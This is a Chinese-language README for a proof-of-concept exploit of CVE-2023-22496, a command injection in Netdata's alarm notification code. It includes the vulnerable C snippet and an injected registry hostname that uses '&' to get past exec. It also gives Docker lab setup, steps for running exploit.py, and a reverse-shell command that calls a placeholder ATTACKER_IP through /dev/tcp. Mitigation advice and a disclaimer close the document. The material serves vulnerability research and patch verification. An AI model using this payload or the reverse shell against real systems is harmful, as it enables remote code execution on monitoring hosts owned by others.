严重性: 严重(CVSS 9.8)
影响范围: Netdata Agent < 1.37.0
修复版本: v1.37.0
类型: 操作系统命令注入(CWE-78)
CVE-2023-22496 是 Netdata 健康告警通知系统中的操作系统命令注入漏洞。流式链中任意节点的 registry_hostname 被直接插入到 shell 命令中而未经过滤。攻击者如能在 Netdata 配置文件中设置 registry hostname,则可以在处理告警的任何父节点上以 netdata 进程用户身份实现远程代码执行。
health/health.cstatic inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
...
char cmd[LEN + 1];
snprintfz(cmd, LEN,
"exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
exec, // alarm-notify.sh
recipient, // 例如 "root"
host->registry_hostname, // ← 未过滤 — 攻击者可控制
ae->name,
...
);
ae->exec_code = spawn_enq_cmd(cmd); // 通过 /bin/sh 执行
...
}
spawn_enq_cmd 将字符串传递给 /bin/sh -c,shell 会对其求值。由于 registry_hostname 从未被过滤,攻击者可注入任意 shell 命令。
exec 进程替换朴素的注入 `'; cmd; '` 并不生效,因为 exec shell 内建命令会替换当前 shell 进程,导致注入的 ;cmd; 永远不会被执行。
可行的绕过方法 — 使用 &(后台运行符):
# Netdata 注入后构建的内容:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...
# 执行流程:
# exec alarm-notify.sh 'root' 'x' & → 后台运行;shell 保持存活
# touch /tmp/pwned & → shell 求值;创建文件
# # → 剩余部分为注释;被忽略
┌──────────────┐ 流式 ┌──────────────┐ 流式 ┌──────────────────────┐
│ agent_child │ ───────▶ │ agent_middle │ ───────▶ │ agent_parent │
│ (攻击者) │ │ (中继) │ │ (受害者 / 目标) │
└──────────────┘ └──────────────┘ └──────────────────────┘
│
health_alarm_execute() 触发
带有注入的 registry_hostname
→ 在 agent_parent 上实现 RCE
攻击者只需控制流式链中的任意节点。registry_hostname 通过流式协议传播,并会被每个父节点在调用 health_alarm_execute() 时原样使用。
CVE-2023-22496-PoC/
├── Dockerfile # 从源码构建 netdata-vuln:v1.36.1
├── docker-compose.yaml # 3 节点易受攻击的流式环境
├── exploit.py # 独立利用脚本
├── config/
│ ├── parent_netdata.conf # 父节点配置(可写 — 利用脚本会覆盖此文件)
│ ├── parent_stream.conf # 父节点接收流并评估告警
│ ├── parent_guid # 固定节点 GUID
│ ├── middle_netdata.conf # 中继节点配置
│ ├── middle_stream.conf
│ ├── middle_guid
│ ├── child_netdata.conf # 子发送节点配置
│ ├── child_stream.conf
│ └── child_guid
└── README.md
docker compose)git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC
# 构建耗时约 5–15 分钟(从源码编译 Netdata)
docker build -t netdata-vuln:v1.36.1 .
docker compose up -d
等待约 15 秒让 Netdata 初始化,然后验证:
# 父节点 Web UI 应返回 HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# 预期输出:"version": "v1.36.1-..."
# 默认:在目标 (agent_parent) 上创建 /tmp/pwned
python3 exploit.py "touch /tmp/pwned"
# 验证
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned
预期输出:
======================================================================
CVE-2023-22496 — Netdata registry_hostname 命令注入概念验证
======================================================================
Shell 命令 : 'touch /tmp/pwned'
注入的主机名 : "x' & touch /tmp/pwned & #"
[*] 前置检查:验证 Docker 环境
[*] 所有 3 个容器都在运行中。
[*] 步骤 1:为 agent_parent 写入注入后的 netdata.conf
已写入:config/parent_netdata.conf
registry hostname = "x' & touch /tmp/pwned & #"
[*] 步骤 2:重启 agent_parent 以加载注入的配置
...
agent_parent 已启动并响应。
[*] 步骤 3:等待 65 秒,直到 disk_space WARNING 告警出现
[*] 步骤 4:检查命令执行证据
======================================================================
✅ 成功 — CVE-2023-22496 确认
'/tmp/pwned' 存在于 agent_parent 上
======================================================================
# 在监听机器上:
nc -lvnp 4444
# 运行利用脚本(替换 ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)
# 停止并移除容器及卷
docker compose down -v
# 移除镜像
docker rmi netdata-vuln:v1.36.1
| 措施 |
|---|
v1.37.0 中的修复措施对 registry_hostname 进行了过滤,在将其插入 shell 命令之前拒绝任何 [a-zA-Z0-9._-] 之外的字符。
本仓库仅提供用于教育和授权安全研究目的。针对非您拥有或未经明确书面许可的系统运行此概念验证是非法的。作者不对滥用行为承担任何责任。
| 详情 |
|---|
| 升级 | 将 Netdata Agent 更新到 ≥ v1.37.0 |
| 限制访问 | 限制对 netdata.conf 的写入权限 |
| 网络隔离 | 将流式端口 (19999/tcp) 隔离到仅受信任的网络 |
| 验证 | netdata --version — 确认不在 v1.37 之前的版本上 |